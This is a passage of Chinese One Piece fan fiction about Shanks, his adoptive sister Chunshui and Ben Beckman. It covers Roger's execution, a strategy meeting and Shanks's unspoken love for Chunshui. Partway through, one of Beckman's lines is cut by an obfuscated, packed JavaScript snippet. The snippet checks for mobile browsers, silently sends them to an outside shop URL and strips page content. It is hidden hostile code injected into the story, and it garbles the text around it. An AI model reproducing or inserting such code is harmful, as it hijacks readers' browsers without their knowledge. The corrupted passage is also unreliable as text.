“我要死了,对不起啊,大伙们。” 那是最后一面了,船长。 尽管明知亲眼目睹他的死亡——会是何等、何等撕心裂肺的痛楚,罗杰海贼团的伙伴们,还是从四面八方汇聚而来。 他们没有靠近处刑台,默契地选择了同一家酒吧,点了杯罗杰最喜欢的威士忌,然后举起酒杯,遥遥望着处刑台上熟悉的背影—— 大笑着、流着泪,他们为他开启了最后一场盛大的宴会。 “船长他这个人啊!最喜欢开宴会了!!” 不是所有人都能忍住悲痛,不去现场。春水去了,香克斯也去了,他们还在滂沱大雨中,看到了久违的、同样泪流满面的巴基。 “想要我的财宝吗?去找吧!我把一切都藏在那里了!!” 在那场仿佛要淹没整个世界的暴雨中,三个在奥罗·杰克逊号上长大的孩子,听着船长临终前豪迈的大笑,眼睁睁看着—— 刀光闪过,人头落地。 船长……罗杰船长……! 他们如同幼时闯了祸寻求庇护一般,本能地缩进春水的怀里,哭得上气不接下气。 可这一次,春水却不能像从前那样安慰他们了—— 因为就连她自己,也早已泪如雨下,泣不成声了。 在离开香波地群岛、前往罗格镇之前,雷利先生曾将春水单独叫走,进行了一场严肃的谈话。 香克斯躲在门外,心急如焚,却一个字也听不清。夏琪看着他焦急的模样,安抚地摸了摸他的头。 谈话结束后,春水平静地向他们宣布:“离开「罗格镇」后,我要回一趟「家乡」。” “我和你一起去!!”香克斯几乎是不假思索地举手,却被她坚定地拒绝了。 “这一趟旅程太远了,香克斯,听话。我很快就回来找你们。”她的声音很平静。 香克斯有不祥的预感,他直觉这趟归途绝非她说的那般轻松——否则,为什么连生命卡都不愿留给他们? 还是太弱了啊,香克斯。 ——你还是太弱小了,什么也保护不了。 他在心底痛恨着自己的无力。 但香克斯知道,春水姐一旦做出决定,便如同罗杰船长一般,绝不会更改。纵使有万般不舍与担忧,他也只能在罗格镇与她告别。 “香克斯,我有你的生命纸。”像是看出了他的担忧,春水如此向他保证道。 “如果我不死,一定会去找你。” 滂沱大雨中,泪痕未消的少年被姐姐抵着额头,郑重地许下承诺。 但她没有。 她不来找自己,那么他就去找她好了。把大海翻个底朝天,总能找到的。 于是香克斯挥别了雷利和夏琪,拉贝克曼入伙,组建了红发海贼团。 又过了几年,他跟着「神之骑士团」的人,以天龙人子嗣的身份回到了圣地玛丽乔亚,晋升为了「神之丛刃」,左臂被那位神秘的伊姆印下了无法磨灭的「浅海契约」。 他疯了一样汲取一切可以变强的力量,挣脱了玛丽乔亚的枷锁,心中唯一的念头就是怕错过她的消息,或是将她引来玛丽乔亚。 没想到…… 罗格镇那一别,就是十年。 直到现在,他才终于找到了她。 她究竟去了哪儿?从哪里得到的「织织果实」?又是怎么找到的露玖? 那个果实……「命运」什么的,总给他一种很不祥的预感。 香克斯忍下追问的念头,笑着将她被风吹冷了的手指,小心地拢入了自己的掌心。 ——“还太早了,春水刚回来。” 他在心里反复告诫自己。 “香克斯,别太心急——别吓到她。” 他可以继续扮演乖巧无害的弟弟,将心底那头因失而复得而疯狂嘶吼的野兽,囚、禁得更深、更深一些。 ——只要能将她牢牢锁在身边,让他等多久都行。 本乡看着这一幕,笑着调侃起自家船长:“所以从小时候开始,头儿就这么……黏着你了吗?” 他意有所指,但春水完全没get到重点。 她想了想无论去哪儿都要紧紧拉着自己的少年,又看了看眼前动不动就拽着自己不放的男人,眼中流露出几分无奈的纵容。 任由他牵着,她无声地点了点头。 香克斯将她的手指彻底捂暖,这才抬起头,迎上了春水的目光。 他脸上绽开一个无比灿烂,甚至带着点理直气壮的笑容,大声宣布: “没办法啊,因为我喜欢你。” “从小到大——” “我、最、喜、欢、春、水、了。” 他再一次笑着表白,心底却发出一声混合着满足与焦灼的叹息。 在伙伴们心照不宣,或牙疼或同情的目光中,香克斯如愿得到了心上人一个带着「安抚」意味的眼神。 “这么大了,还喜欢撒娇啊,你这孩子。”果然,她是这么说的,“姐姐也最喜欢你了,香克斯。” 语气里是他所熟悉的、全然不解风情的温和。 是啊。 从小到大。 只有这个人,只有这个人——不知道他“喜欢”她。 16. 春水压制的副作用 在香克斯不动声色的引导和伙伴们的包容下,春水很快融入了雷德·福斯号,也找到了与新伙伴们相处的方式。 ——这群男人一个个都性格鲜明,看着不像善茬,却又被香克斯奇异地凝聚在了一起,真的和罗杰海贼团的大家一样。 她想,她喜欢这群新的家人,尤其是副船长本·贝克曼。 不止那一手剑术和凝练到极致的霸气,香克斯继承了罗杰船长挑选副手的好眼光。贝克曼是这艘船上最接近她记忆中的雷利先生的存在——理性、睿智、沉稳如山。 仿佛定海神针一样的男人,有着令人为之心安,无比信赖的力量。 春水自幼被雷利先生又当爹又当妈地拉扯大,几乎本能地知道如何与这类人交流。那份源自奥罗·杰克逊号的、对「监护人」雷利先生的依赖和儒慕,不经意间投射在了贝克曼身上。 ——实不相瞒,这一点,与当初香克斯一眼相中贝克曼并极力邀他上船的理由如出一辙。 贝克曼自然能察觉到这份亲近。 “该说不愧是姐弟吗?他们俩。”眼见着遇到困惑的事时第一反应就是来找他商量的麻烦姐弟俩,他有时候也会这么想。 ……是不是太过依赖他了点啊? 总觉得自己像是带了两个娃的单亲妈妈啊。 平心而论,对于头儿的这位「姐姐」上船,贝克曼最初是持保留意见的。 理由很现实。 他们终归会离开东海,向伟大航路进发,那里的气候诡谲多变,敌人实力莫测——春水的身体实在不适合参与他们这种刀尖舔血的生活。 海贼又不是真的过家家游戏,是要赌上性命厮杀的。 在他看来,为她在寻找到一个气候宜人、医疗条件优越的岛屿安定下来,时不时放头儿去探望一眼,满足他那黏黏糊糊的情感需求,这才是对春水最好的安排。 虽然知道头儿不可能放她走,这人的想法简直写在脸上了——但权衡利弊,贝克曼是这么认为的。 总有一天会扛不住吧?春水那种人,看着就不适合打打杀杀的。他们也不能保证每次都能分出人手保护好她。 ——话说回来,在眼前再一次失去心上人,头儿那家伙真的不会疯得把船给拆了吗? 香克斯听着他这些想法,也没纠正他,只是懒洋洋地笑着摆手:“别太小看春水了,贝克。她没那么脆弱。把她圈养在那种安逸的地方,才会真的要了她的命。” 瞄了眼安静看书的女人,贝克曼将信将疑。 直到再一次见识到了她不再收敛、堪称恐怖的见闻色霸气,他才算彻底同意了头儿的观点。 修炼到了极致的见闻色,能够短暂地看破未来,甚至是修正未来。 这一点上,船上最擅长的是耶稣布。作为狙击手,他就是靠这个能力才获得了香克斯的青睐,被他哄着上了船,成为了一名海贼。 但春水的见闻色……不只是预见「未来」,那已经到了几乎「全知全能」的地步了。 举一个例子,正常人看到的「未来」是线性的,会有零星的画面作为预兆。但她眼里的「未来」是三维立体的,以她所在的「现在」为原点,无数可能性沿着xyz坐标轴向外延展,任她挑选出那条最有利于自己的「可能性」。 辅以那神秘的「织织果实」,春水能抽丝剥茧,从头到尾,清晰并完整地看清所有可能性和她想看的每一个细节。 她端坐在漫天星辰之下,注视着只有她能望见的「命运之海」,手指轻轻拨动一条又一条「命线」。 ——那就是半觉醒状态的「织织果实」赋予她的,被称为「织命手」的能力。 没有人知道春水能看见多久以后的「未来」。 那双温温和和像蒙了雾霭的黄金瞳,在认真时毫不含糊,通透又雪亮,锋利得比刀光还要刺眼。 能看穿所有进攻的轨迹,一眼就能锁定你的破绽。她无疑是一个极其恐怖的对手。 ……唯一的桎梏,便是那具残破的身躯——但体力限制,并不影响她「见闻色」的发挥。 即使本乡医术再高,都无法保证伙伴们无人伤亡,但春水可以。被她平静地从必死局里精准地找到生路,捞出了一次又一次的伙伴们彻底老实了。 “春水说什么就是什么吧。” “这个不确定……问问春水行不行吧。” “她说我今天会倒霉唉!那我不出去了。” “春水春水,我什么时候会找到命中注定的另一半啊?” ——这群人……已经渐渐把她当成许愿机占卜师那种存在了。 说实话,贝克曼难以想象,如果这人还能握刀,会是个多么恐怖的剑士。 ……感觉会是个连命运都能砍断的人啊。 “要说剑术,从小时候起,我就没赢过她。”香克斯无奈摊手。 他的战斗习惯,细节把控,斩断一切的锐气,几乎全都源于这个“柔柔弱弱”风一吹就倒的姐姐。 至此,明白了他的坚持,贝克曼摆摆手,算是认同了这位来自传奇海贼团的船员——看似易碎的躯壳里,承载着一个何其强大而坚韧的灵魂 香克斯说的没错,她就是为了大海而生的。 雷德·福斯号乘风波浪,一路高歌向前。春水的气色在航行中也确实一日好过一日。像是朵终于喝饱了水的花,肉眼可见地鲜活了不少。 她用那份沉静的温和与近乎广博的智慧,慢慢与伙伴们建立起了友谊。外向的那几位自不必说,连怕生的嘎布都会红着脸送她一朵花,被她温声细语地夸了一番,乖得不像话。 本乡对着体检报告的表情越来越轻快,拉基·路也满意地看着她总算长了些肉的脸。这两大功臣自然是得到了自家头儿毫不吝惜的夸赞和堪称豪爽的支持。 “双开门的带锁冰箱?买!找贝克领钱!” “那什么恒温培养箱?也买!那么贵?没事我去求贝克!” 上厕所也被这人缠着,实在扛不住软磨硬泡遂无奈答应的贝克曼:“………买吧,从你零花钱里扣。” 无视香克斯一秒垮掉的脸,红团最严厉的母亲(?)做出了无情的宣判:“留着钱让你买那什么破烂铜像巨型弹弓超合金捕兽夹的,还不如用到正地方去。” 春水被弟弟喊来撑腰,她注视着船长室里那堆「香克斯的宝贝」,沉默了好一会儿。 “我觉得贝克曼先生说的对。”她捏了捏大受打击的香克斯的脸,正面中了他的狗狗眼光波攻击,到底还是心软了,“我‘看到’了有趣的岛,说不定能找到你想要的巨型独角仙呢?” 香克斯萎靡的脸一秒复原,高高兴兴地跟着她走了。 “春水!你看到的是‘阿特拉斯’还是‘海克里斯’啊?” “……原来它们还有名字吗?” “当然了!独角仙的名字可是它们的尊严啊!!” “我只‘看到’了一堆甲壳虫,长这个样子……” “唉——那种是蜣螂啊!好脏!不要那个!!” “可它们是黄金雕塑的,很大,应该很值钱。” “春水!即使是黄金屎壳郎也还是屎壳郎啊!!你究竟明不明白啊!!” “……喔……好的。” 见闻色听了好一耳朵闹剧的贝克曼:“………” ……好什么好啊! 快点给我选黄金啊你这家伙!!! 航海士「本迪克·斯内克」憋着笑要走了黄金屎壳郎的坐标。除了嚷嚷着“屎壳郎好逊”一脸不情愿的笨蛋船长,伙伴们兴高采烈地抱着一个个拳头大的黄金,算着能换多少钱,眉开眼笑。 贝克曼走在后面,相当无语地喊住了春水:“你别太惯着他了。” 她正被香克斯像只无尾熊似的缠着,推了几下也推不开,索性由他去了。 ……也是亏得头儿能顶着那么大的个头撒娇啊,真的是没眼看。 完全没察觉到弟弟过分的占有欲和不那么老实的手,春水被他箍在怀里,嘴里还轻声哄着什么“不要不开心了姐姐帮你找更帅的独角仙好不好”。 他那模样是想要独角仙吗? 这人的弟弟滤镜究竟是有多厚啊?! 「“他惯会得了便宜还卖乖。你再这样由着他胡来,早晚会出大问题。”」看着几乎要长到她身上的香克斯,贝克曼的眼神是这么说的。 “我知道了。谢谢你,贝克曼先生。”春水摸了摸弟弟的头,笑着应了声。 对上那双无知无觉的黄金瞳,贝克曼叹了一口气,心生同情:“……和头儿一样,喊我贝克就行,春水。” 这是典型的贝克曼式亲近了吧?他这算是……接纳自己了吗? 春水愣了愣,温和的笑意逐渐扩大,从善如流,轻声说了句:“……好,贝克。” 该如何形容那样的笑呢? 冰下活水,枯木逢春。 薄冰裂开,露出流动的、温热的内里。将死的树用尽力气长出了一簇新芽,不顾一切地迎着春风。 病气被鲜活的生机驱散,整张脸刹那间被点亮了。 贝克曼看了一眼那个笑,从中依稀捕捉到了几分她年少时的蓬勃朝气,大概明白了头儿为什么——隔了那么些年,仍然对这人念念不忘。 ……确实是挺晃眼的啊。 眼光不错。 “那是。”香克斯得意地扬眉,眼睛里全是势在必得。 算了……随他们折腾吧。贝克曼无奈地想。 ——反正春水那个人,是没办法拒绝头儿的任何要求的。 她被他吃的死死的啊。 把老虎当大猫养,还饿了好些年,不给一顿饱饭。那么结局不是已经显而易见了吗? ——以身饲虎,被她所谓的宝贝弟弟吃干抹净、连骨头渣都不剩。 * 接受了春水这个伙伴后,贝克曼很快摸透了她的脾性。 她其实很好懂,是有点慢热的、怕生的人。比起说空话,更爱做实事,有时候会因为过于专注而忽略周围人的情绪。 但很神奇,她与自己交流时无比流畅,无比自然。这份契合,在制定战术上,几乎展现得淋漓尽致。 那是一场针对巴托里岛海贼联盟的作战会议。 目标是剿灭一个通过贿赂海军、向伟大航路输送军火以牟取暴利,并意图引发多国暴、乱的新兴势力联盟——被路过的香克斯救下,从巴托里岛侥幸逃生的平民们是这样描述的。 “好啊,交给我吧。”香克斯对着面带恳求的平民们,用力压了压草帽边沿,语气随意地应下了这次战斗。 以往,这种复杂的局势分析和计划制定,几乎靠贝克曼独自完成。其他干部要么摸鱼,要么跟不上思路干脆坐等执行—— 而他们那位任性的笨蛋船长,更是连作战会议都能忘记参加……!! “算了,习惯了。”贝克曼无语地在海图上标出几个关键地点,“不等头儿了,我们开始吧。” 对战略完全不感冒的战斗员「莱姆琼斯」和音乐家本克·宾治已经拎起猛士达的爪子玩了起来。 嘎布捂着嘴咳嗽了起来,他能从嘴里放出冲击波来攻击,但每次换季嗓子都很痛,被本乡塞了一粒润喉糖才好些。 熬夜绘制出海图的本迪克·斯内克打了个哈欠,自觉做出了贡献,就不再费脑子制定战术了。耶稣布要走了颗润喉糖,嘎嘣嘎嘣地嚼着。 拉基·路是为数不多准备好好听听的人,正在认真地对着海图发呆,没看出一点发言的想法。 贝克曼:“………” 背景音是猴子叫,他冷漠地想着这种作战会议纯粹是浪费他的时间,下次就该直接把计划拍到他们脸上。 但这次……情况有点不一样了。 因为一群肌肉笨蛋中,出现了第二个善于思考的聪明人。 坐在贝克曼对面的春水凝视着「命运之海」,手指轻轻一拨,声音温和笃定:“东部海域的商船减少了,与他们对外宣称的‘扩大贸易’完全不符。结合这几份武器订单交付延迟的记录……资源分配不均,他们内部并非铁板一块。” 她的能力,连人的命运都能窥探,拨动「命线」回溯过往船只的来访痕迹、筛选出关键情报更是易如反掌。 ——她刚刚就在「看」这座岛上一月内来访的船只名单。 头一次在作战室内听到了正经的发言,贝克曼神色一顿,欣慰地点了点头 他的笔迅速在海图上划过:“所以,这里和这里可能是突破口,我们可以利用信息差。” “——制造几次恰到好处的‘误会’,让他们内部的猜忌发酵,自行消耗。”春水颔首,苍白的脸上露出一丝极淡的、从容的微笑,“最后,我们再送去一根火柴。” 不谋而合。 自那以后,计划制定高效得令人惊叹。 贝克曼刚准备提起岛上复杂的交易网,下一秒,春水的指尖已经点上了其中一个交货港口:“这里。” 她迅速拨动「命线」,筛选了一些无意义的船只后,将一份名单交给了贝克曼——通过停留时间、到访时间、武器数量,分析出商队之间是否属于同盟或者敌对的关系,这很轻松。 贝克曼得了这份名单,针对性地分给了适配的伙伴,潜伏跟踪或是传递消息,解决完最棘手的事后,两个人迅速快进到关于岛上平民撤离的预备方案上了。 没有多余的信息,不需要反复解释。 两个聪明人思维同频,你来我往,迅速将零散的情报信息汇总,形成几套行动方案。 听了一半就开始走神的拉基·路目瞪口呆,小声问耶稣布:“贝克什么时候和春水这么熟的?!” 耶稣布偷笑:“毕竟能跟上他思路的不多。而且你看,关键时刻还能管住上头的那位,贝克最近少抽了多少烟啊。” 他们说的,是贝克曼发现的春水的第三个优点。 ——除了出色的「见闻色」和清晰的逻辑以外,春水对上香克斯这个不消停的弟弟,几乎算得上是血脉压制了。 这实在正常不过,毕竟那孩子是她从小管教到大的。 海上航行,难免遭遇强敌或陷入某些复杂的局面。然而,红发海贼团的船长香克斯,继承了罗杰的剑技和霸气不说,居然连那份孩子气的莽撞任性也原封不动地复刻了下来。 ——每当遇到挑战,他那“不管三七二十一直接莽过去”的热血本能就会占据上风,格里芬蠢蠢欲动。 什么作战会议,什么同盟敌人,什么风险分析,先痛痛快快闹上一场再说! 这一点,真的与罗杰一模一样。 雷利也拿他没辙,索性直接暴力制服,胖揍他一顿并关进笼子里直到开战再放出来。 方法是粗糙了点,但是胜在简洁有效。 贝克曼明显不太喜欢这种方式。 和香克斯那笨蛋打架真的太浪费时间了,总给他一种被蠢人拉到了他擅长的犯蠢领域里然后被他用更加丰富的犯蠢经验打败了的无力感。 真的很让人火大啊,这混账小鬼就不能好好听自己讲话吗?不上头的时候不是还挺聪明的嘛? 比起以暴制暴,仍然对自家头儿怀抱着点“万一他今天长脑子了呢”的期待,贝克曼更偏爱以理服人。 但事实就是如此残酷。 往往他费尽口舌讲了一大通,香克斯还是一副死不悔改想搞事情的模样。 “不要想那么多啦!贝克!不试试怎么知道行不行得通!!”说着这种傻话,把自己的劝诫当做耳旁风,香克斯已经冲上去了。 “……唉,果然还是需要点物理手段才能冷静下来啊。”耐心告罄,一枪托把他揍晕。贝克曼吸了一口烟,冷静且沧桑地想。 但自从春水上了船,他发现了个更高效的解决方案。 例如不久前,他们盯上一艘形迹可疑的运输船。 香克斯眼睛发亮,手已按在格里芬上。 “贝克!机会难得,直接靠过去拿下!”他兴致勃勃地宣布,显然打算直接上船。 “头儿,对方航线刻意避开了常规商路,可能有埋伏,或者船体本身就是陷阱。建议先侦察,或者——” 贝克曼缜密的分析被香克斯的嚷嚷声淹没。 “没关系啦!有什么问题打过去就好了!” ……又是典型的“香克斯式”逻辑。 以往到了这一步,贝克曼要么苦口婆心,要么干脆揍到香克斯放弃想法,要么无奈妥协,任由船长胡闹——可悲的是,后者占90%。 贝克曼已经无语了。他摆摆手放他自己玩去,心想反正这人生命力顽强,被陷阱炸炸也死不掉。 却见下一秒,站在船舷边安静观察着海流的春水转过了头。 “行动前,至少要先确认风险吧?”她平静地指了瞭望台,“对方的武装力量、货物的固定情况。” ——“走吧,香克斯。我们去看看。” 然后,奇迹发生了。 刚才还跃跃欲试的香克斯被她扫了一眼,气势瞬间收敛,甚至下意识地缩了缩脖子。 “好吧……说的也是……”他堪称乖顺地跟了上去,老老实实,服服帖帖,“我扶你上去吧,春水。” 甲板上一片寂静,完全拉不住这头倔驴反而被他带着跑的船员们震惊到失声。 “……”贝克曼面无表情地吐出了一口烟圈。 片刻后,两人返回。 “不愧是你,判断完全正确。”春水朝贝克曼笑了笑,“确认了,右舷第三门炮是伪装的,基座有问题。货物堆叠方式也是为了快速抛弃或引爆。” 香克斯站在旁边,虽然没能立刻冲上去大干一场有点不过瘾,但脸上却没有不满,反而带着一种“看,我侦查清楚了喔”的微妙自豪感,眼神不时瞟向春水。 计划顺利执行,风险降至最低。 贝克曼直接下达指令:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493585|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耶稣布,侧翼射击。嘎布、莱姆,准备爆破。” 火光冲天中,这位副船长非常用力地、堪称是坚定地握住了春水的手:“请务必、务必永远留在这艘船上,春水。” 听懂了他的未尽之意,春水被他逗笑了:“真是辛苦你了,贝克。” * 当记错时间的香克斯嘴里叼着半个苹果,哼着不成调的航海歌,推开会议室的门时,一份详尽的作战计划,已经摆在他的主位上了——尽管所有人都心知肚明,他们的头儿大概率只会扫一眼,然后继续他“船到桥头自然沉”的任性作风。 想到这儿,贝克曼连眼皮都懒得抬,语气平淡:“春水,给他翻译下。” “翻译”这个词用得精妙而刻薄,一脸“我想去岛上玩”的香克斯,肉眼可见地蔫了。 正研究海图的春水抬眼,轻声总结了核心要点——身为船长,香克斯需要待命的天数、关键的行动时间、以及必须精准打击的目标。 最后,她如同过去无数次那样,自然而然地补上一句终结反抗的咒语:“香克斯,听话。” 就这么一句话。 香克斯看了一眼春水,又瞥了一眼“我就知道”的贝克曼,目光来回扫视,撇了撇嘴。 他最终像只被没收了心爱玩具的大型犬,虽然浑身散发着不情愿的低气压,却还是老老实实地、闷闷地应了一声: “……哦。” 干部们各自领了任务,作战会议快的惊人。临走前,香克斯还不忘回头递给贝克曼一个“算你狠”的愤怒眼神。 “幼稚。”贝克曼轻嗤一声,懒得理会这种小学生级别的抗议。 作为战术的制定者,他对这招“春水压制”的效果十分满意。效率极高,成本为零,且能最大程度避免船长脑子发热引发的各种计划外的麻烦。 从战术层面讲,这无疑是最优解。 ……然而,从个人角度来看…… 行动圆满结束后,伙伴们清理战场,清点缴获的物资。 贝克曼沉默地望向那片被破坏得最为彻底、仿佛被装甲车碾过的区域。果不其然,罪魁祸首·香克斯正带着点邀功意味地往春水身边凑了又凑。 他脸上那副“快夸我快夸我”的表情几乎凝成了实质,虽然没明说,但眼神里写满了期待。 ——来了。“春水压制”的经典后续,最明显的副作用。 ……又开始了。 春水看着他那副眼巴巴求夸夸的样子,不禁莞尔。 她揉了揉他那头硬茬茬的红发,语气温和,带着赞许和自豪:“做得很好,乖孩子,以后也要多听听贝克的话。” 这个动作对于双方都无比自然,像是肌肉记忆,代表着最高级别的嘉奖与亲昵。 但是香克斯的表情瞬间变得极其……精彩。 这是他最矛盾的时刻。 为了方便她的动作,他微微低下头去,紧紧盯着那双黄金瞳,贪婪地享受着来自春水的亲昵触碰。每一次心上人主动的接触,比打赢一场架还让他满足。 ——从小时候起,她的认可就是他最渴望的奖励。 但下一秒,那句“乖孩子”像一根细小的针,扎得他躁动不安。该死的、名为“男人尊严”的理智猛地抬头,“我不想再只做弟弟”的念头蹿了上来。 ……我现在是能和你并肩的男人了,不是需要你摸头夸奖的弟弟啊! 我不是小孩子了!我不想只是‘听话’! ……我想要的是……是…… 带着享受、羞赧和懊恼交织的复杂表情,香克斯的脸一会儿红一会儿白的。 他偏开头想躲开,但身体却又诚实地定在原地,红着耳朵,任由那只手在他头上摸了又摸。 “……都说了……别总把我当小孩子……春水。” 他抗议的气音近乎嗫嚅,微弱得很快就被海风吹散了,而且毫无底气。 春水将这种反应完全解读为了少年长大成人后固有的、可爱的害羞。 她予以宽容地微笑,善解人意地收回手:“好好好,知道了。我们香克斯,早就是能独当一面的、可靠的大人了。” ——你知道什么啊!你根本什么都不知道吧!!! 这句“可靠的大人”像是一记补刀,让香克斯更加郁闷。他还不甘心地想说什么,最终只是闷闷地“嗯”了一声,同手同脚地迅速走开了。 春水看着他落荒而逃的背影,转头走向贝克曼,脸上的疑惑做不了假:“贝克,他这是……?我……我是不是又说错什么话了?” 贝克曼能看得出来,她是真的在虚心求教,并且执着地希望从自己这里得到标准答案。 这样的场景伴随着“春水压制”,重复了一次又一次。 头儿那个笨蛋,明明心里爽得要死,连拒绝都不舍得,偏偏又要摆出一副“我不是小孩子了”的别扭样子—— 每次目睹全程都没眼看的贝克曼:“……” 他捏了捏眉心,感觉刚刚因为计划顺利而放松的神经再次开始抽痛,已经开始想叹气了。 ——来了,又来了。 春水仍然困惑地望着自己,贝克曼只能面无表情地回答:“不用在意。大概……是太高兴了。” ——高兴的都同手同脚了,那个白痴。 出于一种对监护人雷利先生的移情作用,春水习惯了在遇到困惑时——十有八九都与香克斯有关——向贝克曼求助。 在她眼中,贝克曼是船上最了解香克斯的人。 没有之一 。 十年过去了,那个曾经一眼就能看透的笨蛋弟弟,如今的行为模式让春水完全摸不着头脑。 ——香克斯那孩子,有点不对劲。 他不再喊自己“姐姐”或者“春水姐”了,语气里带着那种——春水也说不上来,像是……掺杂了些什么她无法理解、又无法忽视的东西。 船体颠簸,遇到大浪时,只要香克斯在自己身边,就一定会揽住她的腰,紧紧扣住。 男人掌心滚烫的温度隔着衣料清晰地传递过来,在她愣愣地回望过去时,他又若无其事地松了手,回以无辜的眼神。 “怎么了?春水?” “………没、没什么。” 春水也不知道这是怎么了,但她本能的觉得不太对劲。 ……正常情况,应该是扶住胳膊才对吧……? 这孩子有种天赋,总能将这种过于亲昵的「陪伴」变得理所当然,且无处不在。小时候他还要七拐八拐地找些借口赖在她房间,如今倒好,他直接抱着一大摞文件登堂入室了。 “这里光线好,我写一会儿船长日志,不打扰你吧?”嘴上说着询问的话,这人已经占据了桌子的另一头,摊开文件。 春水还穿着睡衣,披着毛毯,她看着香克斯理所当然的样子,想说他可以去船长室,那里明明更宽敞——但对上那双写满“我想待在这里”的、亮晶晶的眼睛,那点微弱的拒绝便消散了。 ……好吧。 她默默地将自己的书往旁边挪了挪,给他腾出更多空间:“……不打扰。” 她妥协了。 但这还不够。 香克斯边写日志边哼着歌,极其自然地拿起她的水杯喝了一口,仿佛那是再正常不过的事。 ——这真的正常吗? 正常应该不会赖在人家房间一整天,而且一周里来四五次吧……? 总觉得他想干脆住她这儿了呢……? 林林总总,这些「不太正常」让春水无所适从——包括他现在这副对摸头奖励……又抗拒又享受的复杂表情。 香克斯小时候明明很喜欢的啊。 他那个亮晶晶的期盼眼神……不就是想要被奖励的表情吗? 感觉到苦恼时,她会下意识地向贝克曼求助,眼神里是天然的信赖和求知欲,正如现在。 “贝克,为什么……?” 一片硝烟中,贝克曼面无表情地捻灭了烟头——他的绅士风度不允许他在春水这个病人面前抽烟。 春水,这个在分析敌情、预判局势时敏锐得令人惊叹的女人,只有在面对她亲手带大的「弟弟」香克斯时,才会显露出一种令人扼腕的、近乎无解的迟钝。 她究竟是对男女情爱全无经验一片空白,还是把弟弟看得太重,压根没往除了亲情以外的……那方面想? 贝克曼看着春水的困惑,心道这两者应该都有。 神色向来从容淡静、平淡如水的女人,眉头用力地下压,睫毛一下一下颤抖着,嘴唇张了张又合上了,最后紧紧抿起。 像是一直认为是绿色的东西,突然被人说那其实是红色,大概是这样的情况——困惑得近乎茫然,她露出了完全无法理解的表情。 被她看得有点无力,贝克曼捻了捻手指,突然很想再点一根烟。 ——能让春水露出这种表情。头儿,从某种意义上来讲,你也算是一种天才了。 真的。 17. 试试温水煮青蛙 春水没察觉到贝克曼的无声叹气,她仍然满腹困惑。 “为什么……香克斯刚才的表情……他在想什么?”她的眉头微微蹙起,试图理解。 贝克曼被她问得相当无奈——倒不如说,从最开始被她问了第一个问题“贝克,香克斯是不是有点……有点太粘人了啊?”后,他就已经没招了。 粘人……? 谁家弟弟粘人是想方设法地想把姐姐往床上拐啊……这么明显的事,这人愣是看不出来吗? 他还能怎么说? 这要他怎么说啊? 难道告诉“弟弟”滤镜比城墙还厚的春水:“你弟弟不是粘人,他是发…(和谐)…情了,对象是你?” ……这种蠢事,还是让那个笨蛋自己来吧。 于是,贝克曼只能含糊其辞,用万金油答案应付过去:“他长大了,春水。男人长大了,总会有些变化。顺其自然就好。” 春水依旧懵懂而不解,她还想问什么——但可能自己不知道从何问起,只好带着更深的困扰离开了。 贝克曼看着她的背影,揉了揉眉心。 ——但愿头儿别再来了。 然而,天不遂人愿。不出半小时,香克斯就像幽魂一样出现在了他身边,周身笼罩着低气压。 “贝克……”他的声音有气无力,“你看到了。她又摸我的头了!” 贝克曼面无表情地核对物资清单:“……是啊,我看见了。我还看见了你心里暗爽脸上一副苦大仇深的蠢样呢。” “有那么明显吗?!她会不会觉得我很奇怪?可是……她的手好凉,碰到耳朵的时候还——”说着,香克斯的耳朵慢慢红了。 视线下移,贝克曼秒懂:“………啧。” 打住。 到这里就可以了,再说下去就有点不太礼貌了。 ……而且说实话,他真的不太想继续往下听了。 香克斯很快在贝克曼的白眼中回过神来,愤怒拍桌:“但是!我不想再被当弟弟了!!” “那就在她伸手的时候,抓住她的手腕,告诉她‘把我当成一个男人’。”贝克曼在“确认无误”上打了个勾,同时给出方案——被这个笨蛋否决过无数次的方案。 “我……可是!”香克斯想象着那个场景,咬牙咽下渴望,“直说的话,太唐突了。她身体还没好,不能有太剧烈的情绪……我得循序渐进。” 贝克曼终于放下笔,用一种“你无药可救了”的眼神看着他:“你不直说,指望春水自己悟吗?呵,等到耶稣布的孙子出生,你、都、等、不、到。” 香克斯:“………不用这么狠吧……贝克……” 被他的话打击得更深,他的嘴里似乎飘出了残魂,跌跌撞撞踉踉跄跄地离开了。 世界终于清净了。贝克曼满意地拿起笔,继续批改文件。 ——但这只是个开始。 不到一周,类似的戏码循环上演。 春水前一秒带着歉意和奇奇怪怪的“为什么”出现,她刚走没多久,香克斯就闻着味儿过来了。 “我只是帮忙扣了下衬衫扣子,他就拂开我的手,头也不回地走了……”春水回忆着,眉头蹙得更紧,“为什么?是现在的男孩到了这个年纪,都会讨厌被整理衣服吗?还是我管的太多……行为越界,让他觉得不舒服了?他在生我的气吗?” 贝克曼:“………” 越界?生气?就他? 别逗了,他巴不得把自己洗干净躺床上等你吧? “生、生气?!”紧接着出现的香克斯声音拔高,又立刻压下去,看起来有点抓狂,“我怎么可能生她的气!我那是……我那是……她靠那么近,手还……我、我……!” 他指了指自己的胸口,总是咧开的领口被细细扣好。女人的吐息和手指就落在那上面,温温热热的,他的心脏险些蹦了出来。 贝克曼:“………” 够了,他真的听不下去了。 ——又或者。 “贝克,对我那时的失约……他其实还在耿耿于怀,对吗?”春水面露不安,“连春水姐都不愿意喊了,是我这个姐姐不称职吗?我……” 贝克曼:“………” 真的,他已经开始叹气了。 “她、她这么觉得?怎么会……我不是……我没有这个意思!她是全天下最好的姐姐——!!”香克斯如遭雷击,僵在原地,“我只是……贝克,你知道的!我不能再当她弟弟了!我……我喊不出口了……” 贝克曼:“………” 我知道有个毛用啊?你倒是告诉她去啊! 就这点破事为什么能来烦我整整一周啊?!! 诸如此类,无限循环。贝克曼从被这对笨蛋姐弟缠住的回忆里脱身,清点完物资,默默走向船尾。 一个聪明通透却对感情迟钝得像块木头。 一个急于拉近距离却连表白心意都不敢。 而我,不仅要管理整艘船的运营,制定航行和作战计划,居然还要处理这种幼儿园级别的感情问题…… 